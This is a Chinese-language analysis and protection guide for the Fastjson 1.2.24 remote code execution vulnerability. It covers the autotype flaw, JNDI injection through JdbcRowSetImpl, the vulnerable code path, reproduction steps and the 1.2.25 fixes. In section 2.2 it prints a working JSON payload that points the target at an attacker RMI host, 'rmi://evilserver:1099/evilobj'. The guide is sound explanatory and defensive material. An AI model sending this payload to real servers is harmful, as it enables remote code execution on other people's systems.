Fastjson 1.2.24远程代码执行漏洞分析
字数 2127 2025-08-15 21:32:37
Fastjson 1.2.24远程代码执行漏洞分析与防护指南
1. 漏洞概述
1.1 漏洞简介
Fastjson 1.2.24版本存在一个高危的远程代码执行漏洞(Remote Code Execution),漏洞编号为无,CVSS评分无。该漏洞利用fastjson autotype在处理json对象时,未对@type字段进行充分的安全性验证,攻击者可以传入危险类并调用危险类连接远程RMI主机,通过其中的恶意类执行任意代码。
1.2 组件概述
Fastjson是阿里巴巴开发的一个高性能Java JSON库,采用"假定有序快速匹配"算法,具有极快的JSON解析性能。它被广泛应用于缓存序列化、协议交互、Web输出、Android客户端等多种场景。
1.3 漏洞影响
- 影响版本:Fastjson < 1.2.25
- 漏洞危害:攻击者可实现远程代码执行,获取服务器敏感信息,甚至对服务器数据进行增删改操作
2. 漏洞原理分析
2.1 技术背景
漏洞利用基于JavaBean特性和JNDI注入:
- JavaBean特性:遵循特定规范的Java类,提供无参构造函数、可序列化、有getter/setter方法
- JNDI注入:通过Java命名和目录接口查找远程对象并触发反序列化
2.2 漏洞利用流程
- 攻击者搭建恶意RMI服务(rmi://evilserver:1099)并绑定恶意类(evilobj)
- 恶意类中包含可执行任意命令的Java代码
- 向使用Fastjson的服务发送特制JSON数据:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true} - Fastjson解析时自动调用JdbcRowSetImpl的setDataSourceName和setAutoCommit方法
- setAutoCommit触发connect()方法,执行lookup()连接到恶意RMI服务
- 服务端下载并执行恶意类中的代码
2.3 关键代码分析
2.3.1 反序列化流程
parseObject()解析传入的JSON数据DefaultJSONParser解析JSON格式数据- 检查
@type字段值,通过TypeUtils.loadClass加载指定类 - 未充分验证类安全性,直接加载
com.sun.rowset.JdbcRowSetImpl
2.3.2 危险方法调用
- 通过反射调用
setDataSourceName设置RMI地址 - 通过反射调用
setAutoCommit(true)触发connect() connect()内部调用lookup()发起JNDI请求
2.3.3 JNDI注入过程
- 获取InitialContext上下文
- 根据URL协议获取对应上下文对象
- 实例化RegistryContext并获取远程注册中心绑定对象
- 通过TCPEndpoint设置远程终端IP和端口
- 创建代理并返回RegistryImpl stub
- 执行lookup获取远程对象并反序列化执行
3. 漏洞复现
3.1 环境准备
- 使用Windows平台
- 搭建fastjsondemo环境
- 使用Idea打开项目并运行DemoApplication
- 准备恶意RMI服务器
3.2 攻击步骤
- 启动恶意RMI服务并绑定恶意类
- 构造特制JSON请求
- 发送请求到目标服务
- 观察命令执行结果
4. 防护措施
4.1 官方修复方案
Fastjson 1.2.25版本进行了以下修复:
- 新增
checkAutoType方法,设置autotype开关 - 默认关闭autotype功能,限制@type字段使用
- 增加黑名单机制,拦截已知危险类
4.2 升级建议
- 立即升级到Fastjson 1.2.25或更高版本
- 下载地址:https://github.com/alibaba/fastjson
4.3 临时缓解措施
- 在代码中关闭autotype功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 添加自定义黑名单
- 使用安全设备拦截可疑的RMI/LDAP请求
5. 深入技术分析
5.1 Fastjson反序列化机制
Fastjson通过以下步骤完成反序列化:
- 解析JSON字符串为Token流
- 识别@type字段并加载指定类
- 创建JavaBean反序列化器
- 通过反射机制调用setter方法填充对象属性
5.2 漏洞根本原因
- 缺乏对@type字段值的严格校验
- 默认允许加载任意类
- 未对危险类(JdbcRowSetImpl等)进行过滤
- 自动调用setter方法的机制被滥用
5.3 补丁分析
1.2.25版本主要改进:
- 引入autotype开关,默认关闭
- 完善黑名单机制,包含:
com.sun.rowset.JdbcRowSetImpl- 其他常见危险类
- 增加安全校验逻辑,防止任意类加载
6. 参考资源
- 基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
- Fastjson 1.2.24与1.2.25版本差异
- 官方GitHub仓库及安全公告